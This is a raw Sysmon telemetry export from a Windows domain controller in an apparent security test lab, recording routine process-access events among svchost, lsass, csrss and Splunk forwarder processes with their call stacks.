09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005997Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000005996Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:02.916{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006014Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:03.025{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006013Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:03.025{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006012Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:03.025{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006011Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:03.025{A5F018FF-28BD-5F80-0B00-000000007F01}868908C:\Windows\system32\lsass.exe{A5F018FF-28BC-5F80-0100-000000007F01}4System0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96fe2|C:\Windows\system32\kerberos.DLL+794d4|C:\Windows\system32\kerberos.DLL+144c9|C:\Windows\system32\lsasrv.dll+2e101|C:\Windows\system32\lsasrv.dll+2c2c4|C:\Windows\system32\lsasrv.dll+31819|C:\Windows\system32\lsasrv.dll+2f177|C:\Windows\system32\lsasrv.dll+2e101|C:\Windows\system32\lsasrv.dll+16cdd|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be 22542200x80000000000000006015Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:03.052{A5F018FF-28BF-5F80-1200-000000007F01}1256win-dc-1796611.attackrange.local0fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\System32\svchost.exe 10341000x80000000000000006042Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.836{A5F018FF-2A48-5F80-5801-000000007F01}39724032C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6025c5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+6020f6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+59e67|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+5b88c|C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe+8e7d70|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006041Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A48-5F80-5801-000000007F01}3972C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006040Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006039Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006038Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006037Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006036Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006035Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006034Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006033Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006032Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006031Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-28BC-5F80-0500-000000007F01}644772C:\Windows\system32\csrss.exe{A5F018FF-2A48-5F80-5801-000000007F01}3972C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000006030Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.695{A5F018FF-294E-5F80-0501-000000007F01}35044008C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-2A48-5F80-5801-000000007F01}3972C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000006029Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.696{A5F018FF-2A48-5F80-5801-000000007F01}3972C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe8.0.2Active Directory monitorsplunk ApplicationSplunk Inc.splunk-admon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165{A5F018FF-294E-5F80-0501-000000007F01}3504C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 10341000x80000000000000006028Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-294F-5F80-0901-000000007F01}21084736C:\Windows\system32\conhost.exe{A5F018FF-2A48-5F80-5701-000000007F01}3400C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006027Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006026Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006025Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000006024Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:15:52.023{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 